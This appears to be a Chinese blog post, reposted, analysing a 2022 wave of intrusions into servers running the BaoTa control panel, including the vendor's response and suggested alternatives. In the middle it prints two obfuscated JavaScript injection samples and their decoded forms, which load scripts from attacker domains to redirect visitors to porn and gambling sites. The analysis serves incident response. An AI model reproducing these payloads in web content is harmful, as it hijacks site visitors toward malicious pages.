目前,网上所有有关该问题的消息均为相同的消息。目前应该相同来源,且无法溯源第一报告人是谁。不过排查方式中的路径加空格应该是预防 QQ 自动转表情,所以该消息最起码是从 QQ 复制出来的。
不过宝塔面板官方运维在论坛中发帖表明该消息不属实。不过目前已知的是,宝塔官方已知该问题并免费提供技术支援协助调查。官方并不承认与宝塔面板是否有关。
宝塔官方表示存在木马,并给出了自查与临时解决方法。
curl -sSO http://download.bt.cn/tools/w_check.py && btpython w_check.py && rm -rf w_check.py
不过宝塔面板的官方演示站也被黑了。这可不是简简单单登录到后台就可以修改的,官方的演示站根本就没有办法在设置中直接修改!
甚至官方传 DEMO 没有做防护,虽然我并不了解宝塔官方是如何运作且处理 DEMO 的。但是恶意修改 DEMO 没有难度是个十分令人感到气愤的回复。宝塔官方毕竟是要做网络安全方面的,如果就连自己官方的演示站都没办法做好安全防护,那么我们怎么信任宝塔?演示站是一个产品的门面!
不过我也自己查证了一下,演示站已经 403 了,尚无法访问。
截图上来看,宝塔官方以 “密码就在demo上,任何人都可以登录修改”,但在我的海马体中记录的是无修改权限的。且官方以 “维护中” 为借口关闭了演示站。
2022 年 12 月 11 日,07:27 AM (GMT+8)。官方恢复了演示站,并让其无法登录。原因:“维护中”。
大多被入侵的面板版本均为 7.7 及以上包含附属版本,目前已知少数使用开心版宝塔的同样出现入侵问题。以此基本确认宝塔此次漏洞可能与官方有关,也极有可能与传的宝塔官方源的问题。开心版通常都会换成自己的源,且大多出问题的也都是新装用户。
我的几个朋友也遇到了问题,我也一直参与辅助排查。目前已知的是日志文件被清空。文件以及数据库文件尚未被删除,并不确定是否已被脱库。但也已可以确定入侵者已经有了访问服务器的所有权(777, root),也同样说明了拥有 100% 的服务器操作所有权。这也就意味着通过修改 SSH 及宝塔的密码没有用。一般来说被入侵后,那么你的服务器就已经是入侵者的了。唯有重装系统、断网、关机才能保障服务器不会继续被入侵者影响。
目前,入侵者会通过劫持 JS 文件来达到效果。已知的常见入侵情况为通过篡改 JS 文件以及 Nginx 以达到跳转色情、赌博网站。不过入侵者非常聪明,他们并不会直接修改 Nginx 配置文件,他们会通过劫持服务器流量来植入 JS 代码。
var _0xd4d9=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x2E\x6D\x73\x73\x74\x61\x74\x69\x63\x2E\x6E\x65\x74\x2F\x6D\x61\x69\x6E\x33\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x73\x73\x65\x74\x73\x2F\x74\x65\x6D\x70\x6C\x61\x74\x65\x2F\x68\x65\x61\x64\x2F\x61\x64\x2E\x74\x6D\x70\x6C\x5F\x61\x39\x62\x37\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x64d8x2,_0x64d8x3,_0x64d8x4){var _0x64d8x5= new Date();_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]()+ _0x64d8x4);document[_0xd4d9[2]]= _0x64d8x2+ _0xd4d9[3]+ _0x64d8x3+ _0xd4d9[4]+ _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6],_0xd4d9[7],360);document[_0xd4d9[9]](unescape(_0xd4d9[8]));
一看就是编码混淆加密的,解密一下可以得到:
var _0xd4d9 = ["getMinutes", "setMinutes", "cookie", "=", ";expires=", "toUTCString", "waf_sc", "5889647726", "%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E", "write"];
function setc(_0x64d8x2, _0x64d8x3, _0x64d8x4) {
var _0x64d8x5 = new Date();
_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]() + _0x64d8x4);
document[_0xd4d9[2]] = _0x64d8x2 + _0xd4d9[3] + _0x64d8x3 + _0xd4d9[4] + _0x64d8x5[_0xd4d9[5]]()
}
setc(_0xd4d9[6], _0xd4d9[7], 360);
document[_0xd4d9[9]](unescape(_0xd4d9[8]));
先记住一下域名:a.msstatic.net 并查询有关该域名的解析记录。
Server: 223.5.5.5
Address: 223.5.5.5#53
Non-authoritative answer:
Name: a.msstatic.net
Address: 172.67.159.15
Name: a.msstatic.net
Address: 104.21.41.23
根据煮饭的文章来看,他出来的 JS 代码是:
var _0x2551=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x65\x74\x61\x6D\x61\x72\x6B\x65\x74\x2E\x71\x75\x65\x73\x74\x2F\x6D\x61\x72\x6B\x65\x74\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x7338x2,_0x7338x3,_0x7338x4){var _0x7338x5= new Date();_0x7338x5[_0x2551[1]](_0x7338x5[_0x2551[0]]()+ _0x7338x4);document[_0x2551[2]]= _0x7338x2+ _0x2551[3]+ _0x7338x3+ _0x2551[4]+ _0x7338x5[_0x2551[5]]()}setc(_0x2551[6],_0x2551[7],360);document[_0x2551[9]](unescape(_0x2551[8]));
解密后:
var _0x2551 = ["getMinutes", "setMinutes", "cookie", "=", ";expires=", "toUTCString", "waf_sc", "5889647726", "%3Cscript src='https://www.metamarket.quest/market.js'%3E%3C/script%3E", "write"];
function setc(_0x7338x2, _0x7338x3, _0x7338x4) {
var _0x7338x5 = new Date();
_0x7338x5[_0x2551[1]](_0x7338x5[_0x2551[0]]() + _0x7338x4);
document[_0x2551[2]] = _0x7338x2 + _0x2551[3] + _0x7338x3 + _0x2551[4] + _0x7338x5[_0x2551[5]]()
}
setc(_0x2551[6], _0x2551[7], 360);
document[_0x2551[9]](unescape(_0x2551[8]));
再查一下域名解析:www.metamarket.quest,发现这两个域名的域名解析完全为同一家机房的服务器。
不确定但应该为同一伙人所为,IP 是 Cloudflare 的 IP。
当然,如果只查验该 IP 下的所有域名那就是大杂烩了。
前几个访问都是色情网站。
查询 WHOIS 信息也不例外,域名已经被 Cloudflare 接管了。
知道漏洞的人可能不只是这个团伙,可能有其它的团伙在 “作案”。如果只是劫持服务器流量增添代码的话为了给色情、赌博网站引流那还好。大不了备份重装!但也有人反馈网站源码遭到破坏。那么就说明不只是这么简单!
已知消息梳理:
- 宝塔端口为非默认端口一样会被攻击!
- 攻击者大多会植入 JS 代码至 Nginx 以劫持流量的形式!
- 部分攻击者会恶意篡改服务器内容!
- 尚不明确漏洞点!
- 尚不清楚是否为统一团伙所为!
- 尚不清楚攻击者的目的!
- 该行动最早发现与本年 10 月,也有可能是计划性的!
- 攻击者可能在 10 月及之前发现该漏洞并计划性的入侵!
- 关闭宝塔面板并不能确定是否还会被入侵!
- 使用
开心版宝塔普遍没有被入侵! - 国际版 aaPanel 也存在该问题!
亡羊补牢,为时已晚:
目前已知有效的解决办法只有一个,那就是不要使用宝塔面板!大家可以使用以下替代品或像我一样自己搭环境或使用 Go 等二进制程序做网站:
- https://cockpit-project.org/(由 RedHat 开发的开源服务器管理面板)
- https://github.com/midoks/mdserver-web(仿宝塔 UI 的开源面板)
- https://hestiacp.com/
- https://oneinstack.com/
- https://cyberpanel.net/
- https://lnmp.org/
- https://github.com/DevHaoZi/Panel
- http://amh.sh/
- https://www.appnode.com/
- https://vestacp.com/
- https://fastpanel.direct/
- https://www.urlos.com/
- https://www.hws.com/
- https://xp.cn/
如果你必须要使用宝塔面板,那也尽量从硬件防火墙上只允许网站访问端口,并关闭宝塔面板。维护服务器仅使用 VPN 调试。并进行严格的权限限制!不过即使是这样也不能百分百保障服务器的安全性!目前还需要查明漏洞点才能确定一切猜想!
使用以下命令关闭宝塔面板:
bt stop
对于此次安全事件我想说的是如果宝塔真实存在此安全漏洞也没关系。只要迅速出解决方案把漏洞补丁更新好就行。但如果真实存在此事件如果不承认这件事的真像早晚会被广大网友知晓,那样会有很多的宝塔面板使用者离你们而去的。
本次内容中大部份资料均来源于网络整理收集
转载出处至PRK博客www.prkblog.cn
#免责声明#
壹号导航提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络收集整理,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序和内容,请支持正版,购买注册,得到更好的正版服务。我们非常重视版权问题,如有侵权请邮件307495904@qq.com与我们联系处理。敬请谅解!